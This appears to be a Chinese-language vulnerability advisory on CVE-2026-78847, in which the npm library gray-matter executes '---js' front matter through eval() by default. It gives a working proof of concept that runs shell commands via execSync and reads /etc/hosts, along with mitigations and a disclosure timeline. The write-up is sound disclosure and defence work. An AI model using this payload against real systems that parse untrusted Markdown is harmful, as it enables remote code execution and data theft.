一个默认开启的 eval 引擎:gray-matter 的 front matter 代码执行(CVE-2026-78847)
一个默认开启的 eval 引擎:gray-matter 的 front matter 代码执行(CVE-2026-78847)
gray-matter 是 npm 生态里使用最广的 front matter 解析器,周下载量 680 万次。它在 lib/engines.js 里内置了一个用 eval() 实现的 JavaScript 引擎——只要 Markdown 文件的开头写着 ---js 或 ---javascript,分隔符之间的内容就会被当作 JavaScript 执行,而这一切不需要调用方做任何配置。
影响面
| 项目 | 数据 |
|---|---|
| npm 周下载(2026-09-05 ~ 09-11) | 6,813,663 |
| npm 月下载 | 33,721,408 |
| 最新版本 | 4.0.3(2023-07-12 发布) |
| 仓库 | jonschlinkert/gray-matter,4,490 star,最后推送 2025-06-14 |
比下载量更能说明问题的是下游记录:md-to-pdf 因为这件事拿过两次 CVE(CVE-2021-23639、CVE-2025-65108),tinacms 拿过一次(CVE-2025-68278)。也就是说这条利用链在真实项目里被反复触发过,只是根因所在的库本身一直没有编号——这也是 CVE-2026-78847 的由来。
引擎是怎么被选中的
lib/engines.js 默认注册三个引擎,JavaScript 引擎是其中之一:
engines.yaml = {
parse: yaml.safeLoad.bind(yaml),
stringify: yaml.safeDump.bind(yaml)
};
engines.json = {
parse: JSON.parse.bind(JSON),
...
};
engines.javascript = {
parse: function parse(str, options, wrap) {
/* eslint no-eval: 0 */
try {
if (wrap !== false) {
str = '(function() {\nreturn ' + str.trim() + ';\n}());';
}
return eval(str) || {};
} catch (err) {
...
}
},
...
};解析时,库会从开头分隔符后面读出来的那段文本当作语言名,再按这个名字挑引擎:
// index.js:85-89
const language = matter.language(str, opts);
if (language.name) {
file.language = language.name; // ← 内容里写什么,就用什么
str = str.slice(language.raw.length);
}
// index.js:109
file.data = parse(file.language, file.matter, opts);而 matter.language() 的实现只是把第一个换行之前的文本 trim 一下返回,没有任何白名单或黑名单校验:
// index.js:205-218
matter.language = function(str, options) {
const opts = defaults(options);
const open = opts.delimiters[0];
if (matter.test(str)) {
str = str.slice(open.length);
}
const language = str.slice(0, str.search(/\r?\n/));
return {
raw: language,
name: language ? language.trim() : ''
};
};于是"支持多语言 front matter"这个特性,在解析不可信内容时就变成了"内容自己选择用哪个引擎来解析自己"。
复现
在干净目录里装 4.0.3:
mkdir gm-poc && cd gm-poc
npm init -y && npm i [email protected]PoC:
const matter = require('gray-matter');
const input = [
'---js',
'({rce: require("child_process").execSync("id").toString().trim(),',
' leaked: require("fs").readFileSync("/etc/hosts","utf8").split("\n")[0]})',
'---',
'body text'
].join('\n');
const r = matter(input);
console.log('data.rce =', r.data.rce);
console.log('data.leaked =', r.data.leaked);
console.log('content =', JSON.stringify(r.content));实测输出(macOS + Node 22):
data.rce = uid=501(checo) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
data.leaked = ##
content = "body text"任意命令执行、任意文件读取都成立。---javascript 写法同样有效,读环境变量(Object.keys(process.env))之类的操作也直接可用。整个过程里调用方没有传任何选项——漏洞利用的前提只是"把用户可控的文本交给了 matter()"。
反直觉的一点:传 language 选项挡不住
第一反应通常是"我在调用时显式指定 { language: 'yaml' } 就好了"。实测不行:
matter(evil, { language: 'yaml' });
// => { pwned: 'checo' } ← 照样执行原因是 opts.language 先被写进 file.language,紧接着又被内容里的语言名覆盖:
// index.js:63-64 ← 先写选项
if (opts.language) {
file.language = opts.language;
}
// index.js:86-89 ← 再被内容覆盖
if (language.name) {
file.language = language.name;
}用一个打桩引擎能直接观察到覆盖结果:
matter3.engines.javascript = { parse: (s) => ({ saw: s.trim() }), stringify: () => '' };
matter3('---js\nMALICIOUS_PAYLOAD\n---\nx', { language: 'yaml' });
// => { saw: 'MALICIOUS_PAYLOAD' } ,对应的 file.language === 'js'结论是:选择引擎的控制点在被解析的内容里,不在调用方。任何"我已经指定了解析语言"式的防护在这种设计下都是无效的。
缓解
1. 覆盖掉内置的 JavaScript 引擎(实测有效)
const matter = require('gray-matter');
// 放在任何 matter() 调用之前执行一次,例如自己的封装模块里
matter.engines.javascript = {
parse: () => ({}),
stringify: () => ''
};覆盖之后同一份恶意输入得到 {"blocked":true},不再执行任何代码。
2. 换成仍在维护的 fork
11ty 维护的 @11ty/gray-matter v2 移除了 javascript 这个 front matter 类型,engines.javascript.parse 现在直接抛错:
Error: Parsing JavaScript in front matter is no longer supported internally in
`@11ty/gray-matter`. Support is added upstream in `@11ty/eleventy`.该 fork 同时把 js-yaml 升到了 v4,Eleventy 和 Docusaurus 已经采用。
3. 从架构上避免
- 只解析自己生成的文件(构建期自己的 Markdown),不要把第三方内容整体喂给
matter(); - 用户投稿、评论、PR 内容走"只取正文"的路径,front matter 一律不解析;
- 确实必须解析不可信输入时,把解析放进最小权限环境(禁网络、只读文件系统、独立容器),把 RCE 的影响面压到一个空壳里。
披露经过
| 时间 | 事件 |
|---|---|
| 2020-08-24 | issue #112「Use of eval is strongly discouraged」公开 |
| 2021-09-28 | issue #131 公开,指出下游项目因此拿到 RCE |
| 2026-03-10 | PR #182 提出移除该引擎,正文附 PoC(至今未合并) |
| 2026-06-08 | 本次独立复现并确认(gray-matter 4.0.3) |
| 2026-06-26 | 提交 CVE 编号申请 |
| 2026-09-11 | MITRE 分配 CVE-2026-78847 |
| 2026-09-14 | 本文发布;记录此时仍为 Reserved,公开后可在 cve.org 查询 |
需要说明的是,这个引擎的问题并不是本文首次发现——PR #182 已经带着 PoC 挂了半年,上游也长期没有动作。本文做的是独立复现、验证缓解手段,并推动"库本身"而不是下游项目拿到编号:下游每个项目各拿一个 CVE 的现状,恰恰说明只修下游是治不住的。
小结
把一个 eval() 引擎作为默认能力注册进一个解析库,等于把代码执行能力默认交给了每一份被解析的输入。判断一个解析库是否安全时,下载量和 star 数都不算数,要看的只有两件事:它默认支持哪些语法,以及谁来选择这些语法。
